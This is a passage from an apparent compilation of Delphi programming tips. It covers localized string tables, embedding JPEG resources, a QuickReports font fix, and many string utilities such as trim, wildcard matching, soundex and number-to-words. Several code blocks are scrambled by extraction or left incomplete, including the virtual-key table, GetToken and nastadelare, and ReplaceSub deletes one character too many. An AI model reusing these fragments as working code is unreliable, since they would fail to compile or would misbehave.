GetLanguage := GetUserDefaultLangID and $3ff; {$ELSE} s[0] := Char(GetProfileString('intl', 'sLanguage', 'none', @s[1], sizeof(s)-2)); for i := 1 to length(s) do s[i] := UpCase(s[i]); if s = 'ENU' then GetLanguage := LANG_ENGLISH else if s = 'ESN' then GetLanguage := LANG_SPANISH else if s = 'SVE' then GetLanguage := LANG_SWEDISH else GetLanguage := LANG_ENGLISH; {$ENDIF} end; procedure TForm1.FormCreate(Sender: TObject); var a : array[0..255] of char; StrTblOfs : integer; begin {Get the current language and stringtable offset} case GetLanguage of LANG_ENGLISH : StrTblOfs := 0; LANG_SPANISH : StrTblOfs := 16; LANG_SWEDISH : StrTblOfs := 32; else StrTblOfs := 0; end; {Load language dependent "Yes" and set the button caption} if LoadString(hInstance, StrTblOfs + 1, @a, sizeof(a)) <> 0 then Button1.Caption := StrPas(a); {Load language dependent "No" and set the button caption} if LoadString(hInstance, StrTblOfs + 2, @a, sizeof(a)) <> 0 then Button2.Caption := StrPas(a); end;
How To Include JPEG's In Your Executable (Delphi 3) From: Marko Peric
935
STEP ONE: Create a resource script file (*.RC) with a simple text editor like Notepad and add the following line: 1
RCDATA
"MyPic.jpg"
The first entry is simply the index of the resource. The second entry specifies that we are dealing with a user-defined resource. The third and final entry is the name of the jpeg file.
STEP TWO: Use Borland's Resource Compiler, BRCC32.EXE, to compile it into a .RES file. At the MSDOS command line: BRCC32 MyPic.RC
This will create a resource file called MyPic.RES.
STEP THREE: Add a compiler directive to the source code of your program. It should immediately follow the form directive, as shown here: {$R *.DFM} {$R MyPic.RES}
STEP FOUR: Add the following code to your project (I've created a procedure for it): procedure LoadJPEGfromEXE; var MyJPG : TJPEGImage; // JPEG object ResStream : TResourceStream; // Resource Stream object begin try MyJPG := TJPEGImage.Create; ResStream := TResourceStream.CreateFromID(HInstance, 1, RT_RCDATA); MyJPG.LoadFromStream(ResStream); // What!? Yes, that easy! Canvas.Draw(12,12,MyJPG); // draw it to see if it really worked! finally MyJPG.Free; ResStream.Free; end; end; // procedure
See the second parameter of the CreateFromID procedure of the TResourceStream component? It's simply the resource index. You can include more than one jpeg in your executable just by adding a line for each jpeg (with a different index) in the resource script (.RC) file.
STEP FIVE: Call the procedure, run the program, and voila! Now go eat some nachos.
936
[Q] Resource files (*.res) / scripts (*.rc)<> align="TOP"> From: Ken White
RESOURCETYPE
FILENAME
For example, to include a bitmap in the resource file: MyBitmap
BITMAP
MyBitmap.bmp
To include a cursor: MyCursor
CURSOR
MyCursor.cur
You use the same technique to include AVI, WAV and ICO files. For other filetypes, you can use the type RC_DATA. To use the resource script (.RC) file, you use Borland's Resource Compiler (BRCC.EXE with Delphi 1, BRCC32.EXE otherwise) which is located in the Delphi Bin directory. The syntax is: BRCC32 MyRes.RC
This creates MyRes.RES. You then add the {$R MYRES.RES} to a unit in your application to have Delphi's linker include it, and use one of the Load... API calls (or Delphi's wrappers for some components) to use the resource at runtime.
Loading bitmaps from a resource DLL into a TImage component. From: "Jason Wallace"
Please email me and tell me if you liked this page. Last modified 03/12/00 12:09:55
937
Quick Report 168. 169. 170.
QuickReports FONT Problems Preview Form Caption QuickReports on different paper sizes
QuickReports FONT Problems From: [email protected] (Max Nilson) [email protected] (Bill Artemik) wrote: I'm using Delphi 2.0 and QuickReports 1.1 >I created a VERY complex (graphically, anyway) report and just found >out that ALTHOUGH it previews fine in design mode, does NOT display or >print correctly in runtime. The error appears to be that I'm running >with LARGE fonts in Windows 95! What a crock!
I too was getting this problem _very_ seriously, but only when printing from Win 95 to the office HP 4M, or when viewing the report under NT 4.0. The _exact_ same application when run under NT 3.51 SP5 worked perfectly. I had seen discussion of one other bug in the NT 4.0 GDI code, so I wasn't suprised when the above test showed that there seemed to be another. I looked very closely at the QuickReports code and noticed that the primary text output routine alters its ouput font for every field. Its does this via the following code segment in TQRCustomControl.Print: QRPrinter.Canvas.Font:=Font; QRPrinter.Canvas.Font.size:=trunc(abs(parentreport.xpos(font.size))); QRPrinter.Canvas.brush.Color:=Color;
Now those of us who have spent far too much time reading the VCL will know that the VCL maintains a resource cache via a handle manager in Graphics.pas, and that this attempts to lower the number of Windows resources allocated by using a reference counted approach to reusing old resource handles. The code above manages to circumvent this most excellently! Every time the printers canvas is set to the fields font, thus lowering the printer's old font resource count to zero and releasing it, and then scaling the fonts size to match the printer metrics, thus requiring a new font resource to be allocated. The upshot of all this is that _every_ field of the report was being drawn using a newly alocated font resource, and probably driving the meta file recorder into spasms trying to keep track of all this choping and changing of font resources. A quick hack where by I created a non printing label of the same size as the scaled printer font, thereby keeping the resource cached, made the bug go away! This proved that there is some sort of problem with the NT 4.0 ehnanced meta file recorder and too many font changes. A better hack has been introduced into QuickReports as follows: // MRN Save the printer font while setting new font SaveFont := TFont.Create; SaveFont.Assign(QRPrinter.Canvas.Font); QRPrinter.Canvas.Font:=Font;
938
QRPrinter.Canvas.Font.size:=trunc(abs(parentreport.xpos(font.size))); QRPrinter.Canvas.brush.Color:=Color; // MRN Free the saved printer font. Its done its work now. SaveFont.Free; SaveFont := nil;
This manages to ensure that the printer font is reused if the same font is selected into the printer canvas. This works perfectly and produces correct reports on NT 4.0. By some strange coincidence 8-) this also stopped the wierd bold, out sized fonts being printed under Win95. So if you have a registered version of QuickReports thaen you simply make this patch and things will run faster, smother and no more font corruptions will occur due to the limitations of the enhanced meta file code and the GDI.
Preview Form Caption Bruno Sonnino [[email protected]] You can set QRPrinter PreviewCaption to your caption like this: QRPrinter.PreviewCaption := 'My Caption';
QRPrinter is a global variable defined in Quickrep.pas
QuickReports on different paper sizes From: [email protected] Hi! Have you looked at the TPrinter-object? You can set the printer you want to use with the Printer.PrinterIndex. For example: Printer.PrinterIndex:=0; Sets the first printer you have installed Printer.PrinterIndex:=-1; Sets the printer to the default printer
Observe! That this function don't make an global change to your system, it's just for the time being. Please email me and tell me if you liked this page. Last modified 03/12/00 12:09:40
939
Strings 171. 172. 173. 174. 175. 176. 177. 178. 179. 180. 181. 182.
Equivalent of Trim$(),Mid$(), etc? String Pattern matching GetTokenstrings2 Replacing substrings Capitalize the first letter of each word in a string How do I determine if two strings sound alike? What are the values for the virtual keys? Delphi currency amount converter strings7 Remove Unwanted from String from String String Parsing? REGULR EXPRESSIONSstrings10 4 Small String Routinesstrings11
Equivalent of Trim$(),Mid$(), etc? Solution 1 From: [email protected] (Bob Swart) unit TrimStr; {$B-} { File: TrimStr Author: Bob Swart [100434,2072] Purpose: routines for removing leading/trailing spaces from strings, and to take parts of left/right of string (a la Basic). Version: 2.0 LTrim() RTrim() Trim() RightStr() LeftStr() MidStr()
-
Remove all spaces from the left side of a string Remove all spaces from the right side of a string Remove all extraneous spaces from a string Take a certain portion of the right side of a string Take a certain portion of the left side of a string Take the middle portion of a string
} interface Const Space = #$20; function function function function function function
LTrim(Const Str: String): String; RTrim(Str: String): String; Trim(Str: String): String; RightStr(Const Str: String; Size: Word): String; LeftStr(Const Str: String; Size: Word): String; MidStr(Const Str: String; Size: Word): String;
implementation function LTrim(Const Str: String): String; var len: Byte absolute Str;
940
i: Integer; begin i := 1; while (i <= len) and (Str[i] = Space) do Inc(i); LTrim := Copy(Str,i,len) end {LTrim}; function RTrim(Str: String): String; var len: Byte absolute Str; begin while (Str[len] = Space) do Dec(len); RTrim := Str end {RTrim}; function Trim(Str: String): String; begin Trim := LTrim(RTrim(Str)) end {Trim}; function RightStr(Const Str: String; Size: Word): String; var len: Byte absolute Str; begin if Size > len then Size := len; RightStr := Copy(Str,len-Size+1,Size) end {RightStr}; function LeftStr(Const Str: String; Size: Word): String; begin LeftStr := Copy(Str,1,Size) end {LeftStr}; function MidStr(Const Str: String; Size: Word): String; var len: Byte absolute Str; begin if Size > len then Size := len; MidStr := Copy(Str,((len - Size) div 2)+1,Size) end {MidStr}; end.
Solution 2 From: [email protected] (Joseph Bui) For Mid$, use Copy(S: string; start, length: byte): string; You can make copy perform Right$ and Left$ as well by doing: Copy(S, 1, Length) for left$ and Copy(S, Start, 255) for right$ Note: Start and Length are the byte positions of your starting point, get these with Pos(). Here are some functions I wrote that come in handy for me. Way down at the bottom is a trim() function that you can modify into TrimRight$ and TrimLeft$. Also, they all take pascal style strings, but you can modify them to easily null terminated. const BlackSpace = [#33..#126]; { squish() returns a string with all whitespace not inside single quotes deleted. } function squish(const Search: string): string; var Index: byte; InString: boolean; begin
941
InString:=False; Result:=''; for Index:=1 to Length(Search) do begin if InString or (Search[Index] in BlackSpace) then AppendStr(Result, Search[Index]); InString:=((Search[Index] = '''') and (Search[Index - 1] <> '\')) xor InString; end; end; {
before() returns everything before the first occurance of Find in Search. If Find does not occur in Search, Search is returned. } function before(const Search, Find: string): string; var index: byte; begin index:=Pos(Find, Search); if index = 0 then Result:=Search else Result:=Copy(Search, 1, index - 1); end; { after() returns everything after the first occurance of Find in Search. If Find does not occur in Search, a null string is returned. } function after(const Search, Find: string): string; var index: byte; begin index:=Pos(Find, Search); if index = 0 then Result:='' else Result:=Copy(Search, index + Length(Find), 255); end; { RPos() returns the index of the first character of the last occurance of Find in Search. Returns 0 if Find does not occur in Search. Like Pos() but searches in reverse. } function RPos(const Find, Search: string): byte; var FindPtr, SearchPtr, TempPtr: PChar; begin FindPtr:=StrAlloc(Length(Find)+1); SearchPtr:=StrAlloc(Length(Search)+1); StrPCopy(FindPtr,Find); StrPCopy(SearchPtr,Search); Result:=0; repeat TempPtr:=StrRScan(SearchPtr, FindPtr^); if TempPtr <> nil then if (StrLComp(TempPtr, FindPtr, Length(Find)) = 0) then begin Result:=TempPtr - SearchPtr + 1; TempPtr:=nil; end else
942
TempPtr:=#0; until TempPtr = nil; end; { inside() returns the string between the most inside nested Front ... Back pair. } function inside(const Search, Front, Back: string): string; var Index, Len: byte; begin Index:=RPos(Front, before(Search, Back)); Len:=Pos(Back, Search); if (Index > 0) and (Len > 0) then Result:=Copy(Search, Index + 1, Len - (Index + 1)) else Result:=''; end; { leftside() returns what is to the left of inside() or Search. } function leftside(const Search, Front, Back: string): string; begin Result:=before(Search, Front + inside(Search, Front, Back) + Back); end; { rightside() returns what is to the right of inside() or Null. } function rightside(const Search, Front, Back: string): string; begin Result:=after(Search, Front + inside(Search, Front, Back) + Back); end; {
trim() returns a string with all right and left whitespace removed. } function trim(const Search: string): string; var Index: byte; begin Index:=1; while (Index <= Length(Search)) and not (Search[Index] in BlackSpace) do Index:=Index + 1; Result:=Copy(Search, Index, 255); Index:=Length(Result); while (Index > 0) and not (Result[Index] in BlackSpace) do Index:=Index - 1; Result:=Copy(Result, 1, Index); end;
String Pattern matching From: [email protected] (David Stidolph) There are many times when you need to compare two strings, but want to use wild cards in the match - all last names that begin with 'St', etc. The following is a piece of code I got from Sean Stanley in Tallahassee Florida in C. I translated it into Delphi an am uploading 943
it here for all to use. I have not tested it extensivly, but the original function has been tested quite thoughly. I would love feedback on this routine - or peoples changes to it. I want to forward them to Sean to get him to release more tidbits like this. { This function takes two strings and compares them. The first string can be anything, but should not contain pattern characters (* or ?). The pattern string can have as many of these pattern characters as you want. For example: MatchStrings('David Stidolph','*St*') would return True. Orignal code by Sean Stanley in C Rewritten in Delphi by David Stidolph } function MatchStrings(source, pattern: String): Boolean; var pSource: Array [0..255] of Char; pPattern: Array [0..255] of Char; function MatchPattern(element, pattern: PChar): Boolean; function IsPatternWild(pattern: PChar): Boolean; var t: Integer; begin Result := StrScan(pattern,'*') <> nil; if not Result then Result := StrScan(pattern,'?') <> nil; end; begin if 0 = StrComp(pattern,'*') then Result := True else if (element^ = Chr(0)) and (pattern^ <> Chr(0)) then Result := False else if element^ = Chr(0) then Result := True else begin case pattern^ of '*': if MatchPattern(element,@pattern[1]) then Result := True else Result := MatchPattern(@element[1],pattern); '?': Result := MatchPattern(@element[1],@pattern[1]); else if element^ = pattern^ then Result := MatchPattern(@element[1],@pattern[1]) else Result := False; end; end; end; begin StrPCopy(pSource,source); StrPCopy(pPattern,pattern); Result := MatchPattern(pSource,pPattern); end;
944
GetToken Thomas Scheffczyk
: Char;
945
StrLen TNum TEnd
: Byte; : Byte; : Byte;
begin if SepChar = '#' then begin RChar := '*' end else begin RChar := '#' end; StrLen := Length(aString); TNum := 0; TEnd := StrLen; while TEnd <> 0 do begin Inc(TNum); TEnd := Pos(SepChar,aString); if TEnd <> 0 then begin aString[TEnd] := RChar; end; end; NumToken1 := TNum; end;
"Hrvoje Brozovic"
I know that in GetToken SepChar parameter ( c_fence in my case ) is string, not char, but comment says that he is expecting single char in that string, and it is obvious that if you send more than one char, it won't work correctly. ( Delete(aString,1,TEnd) is buggy if Length( SepChar ) > 1 ).
946
Replacing substrings From: [email protected] (Michael Bialas) Does anyone know a fast algorithm that replaces all occurences of any substring sub1 to any string sub2 in any string str.
This should do the job: function ReplaceSub(str, sub1, sub2: String): String; var aPos: Integer; rslt: String; begin aPos := Pos(sub1, str); rslt := ''; while (aPos <> 0) do begin rslt := rslt + Copy(str, 1, aPos - 1) + sub2; Delete(str, 1, aPos + Length(sub1)); aPos := Pos(sub1, str); end; Result := rslt + str; end;
Capitalize the first letter of each word in a string Erik Sperling Johansen
From: "Cleon T. Bailey"
Function TfrmLoadProtocolTable.ToMixCase(InString: String): String; Var I: Integer; Begin Result := LowerCase(InString); Result[1] := UpCase(Result[1]); For I := 1 To Length(InString) - 1 Do Begin If (Result[I] = ' ') Or (Result[I] = '''') Or (Result[I] = '"') Or (Result[I] = '-') Or (Result[I] = '.') Or (Result[I] = '(') Then Result[I + 1] := UpCase(Result[I + 1]); End; End;
From: "Paul Motyer"
How do I determine if two strings sound alike? { This code came from Lloyd's help file! } Soundex function--determines whether two words sound alike. Written after reading an article in PC Magazine about the Soundex algorithm. Pass the function a string. It returns a Soundex value string. This value can be saved in a database or compared to another Soundex value. If two words have the same Soundex value, then they sound alike (more or less). Note that the Soundex algorithm ignores the first letter of a word. Thus, "won" and "one" will have different Soundex values, but "Won" and "Wunn" will have the same values. Soundex is especially useful in databases when one does not know how to spell a last name. Function Soundex(OriginalWord: string): string; var Tempstring1, Tempstring2: string; Count: integer; begin Tempstring1 := '';
948
Tempstring2 := ''; OriginalWord := Uppercase(OriginalWord); {Make original word uppercase} Appendstr(Tempstring1, OriginalWord[1]); {Use the first letter of the word} for Count := 2 to length(OriginalWord) do {Assign a numeric value to each letter, except the first} case OriginalWord[Count] of 'B','F','P','V': Appendstr(Tempstring1, '1'); 'C','G','J','K','Q','S','X','Z': Appendstr(Tempstring1, '2'); 'D','T': Appendstr(Tempstring1, '3'); 'L': Appendstr(Tempstring1, '4'); 'M','N': Appendstr(Tempstring1, '5'); 'R': Appendstr(Tempstring1, '6'); {All other letters, punctuation and numbers are ignored} end; Appendstr(Tempstring2, OriginalWord[1]); {Go through the result removing any consecutive duplicate numeric values.} for Count:=2 to length(Tempstring1) do if Tempstring1[Count-1]<>Tempstring1[Count] then Appendstr(Tempstring2,Tempstring1[Count]); Soundex:=Tempstring2; {This is the soundex value} end;
SoundAlike--pass two strings to this function. It returns True if they sound alike, False if they don't. Simply calls the Soundex function. Function SoundAlike(Word1, Word2: string): boolean; begin if (Word1 = '') and (Word2 = '') then result := True else if (Word1 = '') or (Word2 = '') then result := False else if (Soundex(Word1) = Soundex(Word2)) then result := True else result := False; end;
What are the values for the virtual keys? vk_LButton vk_RButton vk_Cancel vk_MButton vk_Back vk_Tab vk_Clear vk_Return vk_Shift vk_Control vk_Menu vk_Pause vk_Capital vk_Escape vk_Space vk_Prior vk_Next
= = = = = = = = = = = = = = = = =
$01; $02; $03; $04; $08; $09; $0C; $0D; $10; $11; $12; $13; $14; $1B; $20; $21; $22;
vk_End vk_Home vk_Left
= $23; = $24; = $25;
{ NOT contiguous with L & RBUTTON }
949
vk_Up = vk_Right = vk_Down = vk_Select = vk_Print = vk_Execute = vk_SnapShot = { vk_Copy = vk_Insert = vk_Delete = vk_Help = { vk_A thru vk_Z { vk_0 thru vk_9
$26; $27; $28; $29; $2A; $2B; $2C; $2C not used by keyboards } $2D; $2E; $2F; are the same as their ASCII equivalents: 'A' thru 'Z' } are the same as their ASCII equivalents: '0' thru '9' }
vk_NumPad0 vk_NumPad1 vk_NumPad2 vk_NumPad3 vk_NumPad4 vk_NumPad5 vk_NumPad6 vk_NumPad7 vk_NumPad8 vk_NumPad9 vk_Multiply vk_Add vk_Separator vk_Subtract vk_Decimal vk_Divide vk_F1 vk_F2 vk_F3 vk_F4 vk_F5
= = = = = = = = = = = = = = = = = = = = =
$60; $61; $62; $63; $64; $65; $66; $67; $68; $69; $6A; $6B; $6C; $6D; $6E; $6F; $70; $71; $72; $73; $74;
vk_F6 vk_F7 vk_F8 vk_F9 vk_F10 vk_F11 vk_F12 vk_F13 vk_F14 vk_F15 vk_F16 vk_F17 vk_F18 vk_F19 vk_F20 vk_F21 vk_F22 vk_F23 vk_F24 vk_NumLock vk_Scroll
= = = = = = = = = = = = = = = = = = = = =
$75; $76; $77; $78; $79; $7A; $7B; $7C; $7D; $7E; $7F; $80; $81; $82; $83; $84; $85; $86; $87; $90; $91;
{ This code came from Lloyd's help file! }
Delphi currency amount converter From: "Donald Johnson"
Function HundredAtATime(TheAmount:Integer):String; var TheResult : String; Begin TheResult := ''; TheAmount := Abs(TheAmount); While TheAmount > 0 do Begin If TheAmount >= 900 Then Begin TheResult := TheResult + 'Nine hundred '; TheAmount := TheAmount - 900; End; If TheAmount >= 800 Then Begin TheResult := TheResult + 'Eight hundred '; TheAmount := TheAmount - 800; End; If TheAmount >= 700 Then Begin TheResult := TheResult + 'Seven hundred '; TheAmount := TheAmount - 700; End; If TheAmount >= 600 Then Begin TheResult := TheResult + 'Six hundred '; TheAmount := TheAmount - 600; End; If TheAmount >= 500 Then Begin TheResult := TheResult + 'Five hundred '; TheAmount := TheAmount - 500; End; If TheAmount >= 400 Then Begin TheResult := TheResult + 'Four hundred '; TheAmount := TheAmount - 400; End; If TheAmount >= 300 Then Begin TheResult := TheResult + 'Three hundred '; TheAmount := TheAmount - 300; End; If TheAmount >= 200 Then Begin TheResult := TheResult + 'Two hundred '; TheAmount := TheAmount - 200; End; If TheAmount >= 100 Then Begin TheResult := TheResult + 'One hundred '; TheAmount := TheAmount - 100; End; If TheAmount >= 90 Then Begin TheResult := TheResult + 'Ninety '; TheAmount := TheAmount - 90; End; If TheAmount >= 80 Then Begin TheResult := TheResult + 'Eighty '; TheAmount := TheAmount - 80; End; If TheAmount >= 70 Then Begin TheResult := TheResult + 'Seventy '; TheAmount := TheAmount - 70; End; If TheAmount >= 60 Then Begin TheResult := TheResult + 'Sixty '; TheAmount := TheAmount - 60; End; If TheAmount >= 50 Then Begin TheResult := TheResult + 'Fifty '; TheAmount := TheAmount - 50; End; If TheAmount >= 40 Then Begin
951
TheResult := TheResult + 'Fourty '; TheAmount := TheAmount - 40; End; If TheAmount >= 30 Then Begin TheResult := TheResult + 'Thirty '; TheAmount := TheAmount - 30; End; If TheAmount >= 20 Then Begin TheResult := TheResult + 'Twenty '; TheAmount := TheAmount - 20; End; If TheAmount >= 19 Then Begin TheResult := TheResult + 'Nineteen '; TheAmount := TheAmount - 19; End; If TheAmount >= 18 Then Begin TheResult := TheResult + 'Eighteen '; TheAmount := TheAmount - 18; End; If TheAmount >= 17 Then Begin TheResult := TheResult + 'Seventeen '; TheAmount := TheAmount - 17; End; If TheAmount >= 16 Then Begin TheResult := TheResult + 'Sixteen '; TheAmount := TheAmount - 16; End; If TheAmount >= 15 Then Begin TheResult := TheResult + 'Fifteen '; TheAmount := TheAmount - 15; End; If TheAmount >= 14 Then Begin TheResult := TheResult + 'Fourteen '; TheAmount := TheAmount - 14; End; If TheAmount >= 13 Then Begin TheResult := TheResult + 'Thirteen '; TheAmount := TheAmount - 13; End; If TheAmount >= 12 Then Begin TheResult := TheResult + 'Twelve '; TheAmount := TheAmount - 12; End; If TheAmount >= 11 Then Begin TheResult := TheResult + 'Eleven '; TheAmount := TheAmount - 11; End; If TheAmount >= 10 Then Begin TheResult := TheResult + 'Ten '; TheAmount := TheAmount - 10; End; If TheAmount >= 9 Then Begin TheResult := TheResult + 'Nine '; TheAmount := TheAmount - 9; End; If TheAmount >= 8 Then Begin TheResult := TheResult + 'Eight '; TheAmount := TheAmount - 8; End; If TheAmount >= 7 Then Begin TheResult := TheResult + 'Seven '; TheAmount := TheAmount - 7; End; If TheAmount >= 6 Then Begin TheResult := TheResult + 'Six '; TheAmount := TheAmount - 6;
952
End; If TheAmount >= 5 Then Begin TheResult := TheResult + 'Five '; TheAmount := TheAmount - 5; End; If TheAmount >= 4 Then Begin TheResult := TheResult + 'Four '; TheAmount := TheAmount - 4; End; If TheAmount >= 3 Then Begin TheResult := TheResult + 'Three '; TheAmount := TheAmount - 3; End; If TheAmount >= 2 Then Begin TheResult := TheResult + 'Two '; TheAmount := TheAmount - 2; End; If TheAmount >= 1 Then Begin TheResult := TheResult + 'One '; TheAmount := TheAmount - 1; End; End; HundredAtATime := TheResult; End; Function Real2CheckAmount(TheAmount:Real):String; Var IntVal : LongInt; TmpVal : Integer; TmpStr, RetVal : String; begin TheAmount := Abs(TheAmount); { cents} TmpVal IntVal TmpStr If TmpStr RetVal If IntVal
:= Round(Frac(TheAmount) * 100); := Trunc(TheAmount); := HundredAtATime(TmpVal); = '' Then TmpStr := 'Zero '; := TmpStr + 'cents'; > 0 Then RetVal := 'dollars and ' + RetVal;
{ hundreds } TmpVal := IntVal := TmpStr := RetVal :=
Round(Frac((IntVal * 1.0) / 1000.0) * 1000); Trunc((IntVal * 1.0) / 1000.0); HundredAtATime(TmpVal); TmpStr + RetVal;
{ thousands } TmpVal := Round(Frac((IntVal * 1.0) / 1000.0) * 1000); IntVal := Trunc((IntVal * 1.0) / 1000.0); TmpStr := HundredAtATime(TmpVal); If TmpStr <> '' Then RetVal := TmpStr + 'Thousand ' + RetVal; { millions } TmpVal := Round(Frac((IntVal * 1.0) / 1000.0) * 1000); IntVal := Trunc((IntVal * 1.0) / 1000.0); TmpStr := HundredAtATime(TmpVal); If TmpStr <> '' Then RetVal := TmpStr + 'Million ' + RetVal; { billions } TmpVal := Round(Frac((IntVal * 1.0) / 1000.0) * 1000); IntVal := Trunc((IntVal * 1.0) / 1000.0); TmpStr := HundredAtATime(TmpVal);
953
If TmpStr <> '' Then RetVal := TmpStr + 'Billion ' + RetVal; Real2CheckAmount := RetVal; end;
From: [email protected] (Nazar Aziz) Hmmm... What about this.... and some nice recursion too!!!..:))) unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) num: TEdit; spell: TEdit; Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } function trans9(num: integer): string; function trans19(num: integer): string; function trans99(num: integer): string; function IntToSpell(num: integer): string; public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} function TForm1.IntToSpell(num: integer): string; var spell: string; hspell: string; hundred: string; thousand: string; tthousand: string; hthousand: string; million: string; begin if num ≶ 10 then spell := trans9(num); {endif} if (num < 20) and (num > 10) then spell := trans19(num); {endif} if (((num < 100) and (num > 19)) or (num = 10)) then begin hspell := copy(IntToStr(num),1,1) + '0'; spell := trans99(StrToInt(hspell)); hspell := copy(IntToStr(num),2,1); spell := spell + ' ' + IntToSpell(StrToInt(hspell)); end; if (num < 1000) and (num > 100) then begin
954
hspell := copy(IntToStr(num),1,1); hundred := IntToSpell(StrToInt(hspell)); hspell := copy(IntToStr(num),2,2); hundred := hundred + ' hundred and ' + IntToSpell(StrToInt(hspell)); spell := hundred; end; if (num < 10000) and (num > 1000) then begin hspell := copy(IntToStr(num),1,1); thousand := IntToSpell(StrToInt(hspell)); hspell := copy(IntToStr(num),2,3); thousand := thousand + ' thousand ' + IntToSpell(StrToInt(hspell)); spell := thousand; end; if (num < 100000) and (num > 10000) then begin hspell := copy(IntToStr(num),1,2); tthousand := IntToSpell(StrToInt(hspell)); hspell := copy(IntToStr(num),3,3); tthousand := tthousand + ' thousand ' + IntToSpell(StrToInt(hspell)); spell := tthousand; end; if (num < 1000000) and (num > 100000) then begin hspell := copy(IntToStr(num),1,3); hthousand := IntToSpell(StrToInt(hspell)); hspell := copy(IntToStr(num),4,3); hthousand := hthousand + ' thousand and ' + IntToSpell(StrToInt(hspell)); spell := hthousand; end; if (num < 10000000) and (num > 1000000) then begin hspell := copy(IntToStr(num),1,1); million := IntToSpell(StrToInt(hspell)); hspell := copy(IntToStr(num),2,6); million := million + ' million and ' + IntToSpell(StrToInt(hspell)); spell := million; end; IntToSpell := spell; end; function TForm1.trans99(num: integer): string; var spell: string; begin case num of 10 : spell := 'ten'; 20 : spell := 'twenty'; 30 : spell := 'thirty'; 40 : spell := 'fourty'; 50 : spell := 'fifty'; 60 : spell := 'sixty'; 70 : spell := 'seventy'; 80 : spell := 'eighty'; 90 : spell := 'ninty'; end; trans99 := spell; end; function TForm1.trans19(num: integer): string;
955
var spell: string; begin case num of 11 : spell := 'eleven'; 12 : spell := 'twelve'; 13 : spell := 'thirteen'; 14 : spell := 'fourteen'; 15 : spell := 'fifteen'; 16 : spell := 'sixteen'; 17 : spell := 'seventeen'; 18 : spell := 'eighteen'; 19 : spell := 'nineteen'; end; trans19 := spell; end; function TForm1.trans9(num: integer): string; var spell : string; begin case num of 1 : spell := 'one'; 2 : spell := 'two'; 3 : spell := 'three'; 4 : spell := 'four'; 5 : spell := 'five'; 6 : spell := 'six'; 7 : spell := 'seven'; 8 : spell := 'eight'; 9 : spell := 'nine'; end; trans9 := spell; end; procedure TForm1.Button1Click(Sender: TObject); var numb: integer; begin spell.text := IntToSpell(StrToInt(num.text)); end;
Remove Unwanted from String from String "Joseph Y. Wong"
Use: NewStr:=RemoveInvalid('
956
"Laurie Bisman"
String Parsing? From: [email protected] This is a unit where I have gathered lots of this type of routines. Some of the function names are in swedish, but maybe you can figure out what they are doing. The one you need is called stringreplaceall which takes three parameters, the string, what to search for and what to replace with and it return the changed string. But beware if you are changing something to something that contains the first. You must do it in two passes or you will end up in an endless loop. So if you have text containing the word Joe and you like all occurances to be changed to Joey you need to first do something like: text := stringreplaceall (text,'Joe','Joeey'); and then text := stringreplaceall (text,'Joeey','Joey'); unit sparfunc; interface uses sysutils,classes; function antaltecken (orgtext,soktext : string) : integer; function beginsWith (text,teststreng : string):boolean; function endsWith (text,teststreng : string):boolean; function hamtastreng (text,strt,slut : string):string; function hamtastrengmellan (text,strt,slut : string):string; function nastadelare (progtext : string):integer; function rtf2sgml (text : string) : string; Function sgml2win(text : String) : String; Function sgml2mac(text : String) : String; Function sgml2rtf(text : string) : String; function sistamening(text : string) : string; function stringnthfield (text,delim : string; vilken : integer) : string; function stringreplace (text,byt,mot : string) : string; function stringreplaceall (text,byt,mot : string) : string; function text2sgml (text : string) : string; procedure SurePath (pathen : string); procedure KopieraFil (infil,utfil : string); function LasInEnTextfil (filnamn : string) : string; implementation function LasInEnTextfil (filnamn : string) : string; var infil : textfile; temptext, filtext : string;
957
begin filtext := ''; //Öppna angiven fil och läs in den try assignfile (infil,filnamn); //Koppla en textfilsvariabel till pathname reset (infil); //Öppna filen while not eof(infil) do begin //Så länge vi inte nått slutet readln (infil,temptext); //Läs in en rad filtext := filtext+temptext; //Lägg den till variabeln SGMLTEXT end; // while finally //slutligen closefile (infil); //Stäng filen end; //try result := filtext; end; procedure KopieraFil (infil,utfil : string); var InStream : TFileStream; OutStream : TFileStream; begin InStream := TFileStream.Create(infil,fmOpenRead); try OutStream := TFileStream.Create(utfil,fmOpenWrite or fmCreate); try OutStream.CopyFrom(InStream,0); finally OutStream.Free; end; finally InStream.Free; end; end; procedure SurePath (pathen : string); var temprad,del1 : string; antal : integer; begin antal := antaltecken (pathen,'\'); if antal<3 then createdir(pathen) else begin if pathen[length(pathen)] <> '\' then pathen := pathen+'\'; pathen := stringreplace(pathen,'\','/'); del1 := copy(pathen,1,pos('\',pathen)); pathen := stringreplace(pathen,del1,''); del1 := stringreplace(del1,'/','\'); createdir (del1); while pathen <> '' do begin temprad := copy(pathen,1,pos('\',pathen)); pathen := stringreplace(pathen,temprad,''); del1 := del1+ temprad; temprad := ''; createdir(del1); end; end; end; function antaltecken (orgtext,soktext : string) : integer; var i,traffar,soklengd : integer; begin traffar := 0; soklengd := length(soktext); for i := 1 to length(orgtext) do
958
begin if soktext = copy(orgtext,i,soklengd) then traffar := traffar +1; end; result := traffar; end; function nastadelare (progtext var i,j : integer; begin i := pos('.',progtext); j := pos('!',progtext); if (j0) then i := j := pos('!',progtext); if (j0) then i := j := pos('?',progtext); if (j0) then i := result := i; end;
: string):integer;
j; j; j;
function stringnthfield (text,delim : string; vilken : integer) : string; var start,slut,i : integer; temptext : string; begin start := 0; if vilken >0 then begin temptext := text; if vilken = 1 then begin start := 1; slut := pos (delim,text); end else begin for i:= 1 to vilken -1 do begin start := pos(delim,temptext)+length(delim); temptext := copy(temptext,start,length(temptext)); end; slut := pos (delim,temptext); end; if start >0 then begin if slut = 0 then slut := length(text); result := copy (temptext,1,slut-1); end else result := text; end else result := text; end; function StringReplaceAll (text,byt,mot : string ) :string; {Funktion för att byta ut alla förekomster av en sträng mot en annan sträng in en sträng. Den konverterade strängen returneras. Om byt finns i mot måste vi gå via en temporär variant!!!} var plats : integer; begin While pos(byt,text) > 0 do begin plats := pos(byt,text);
959
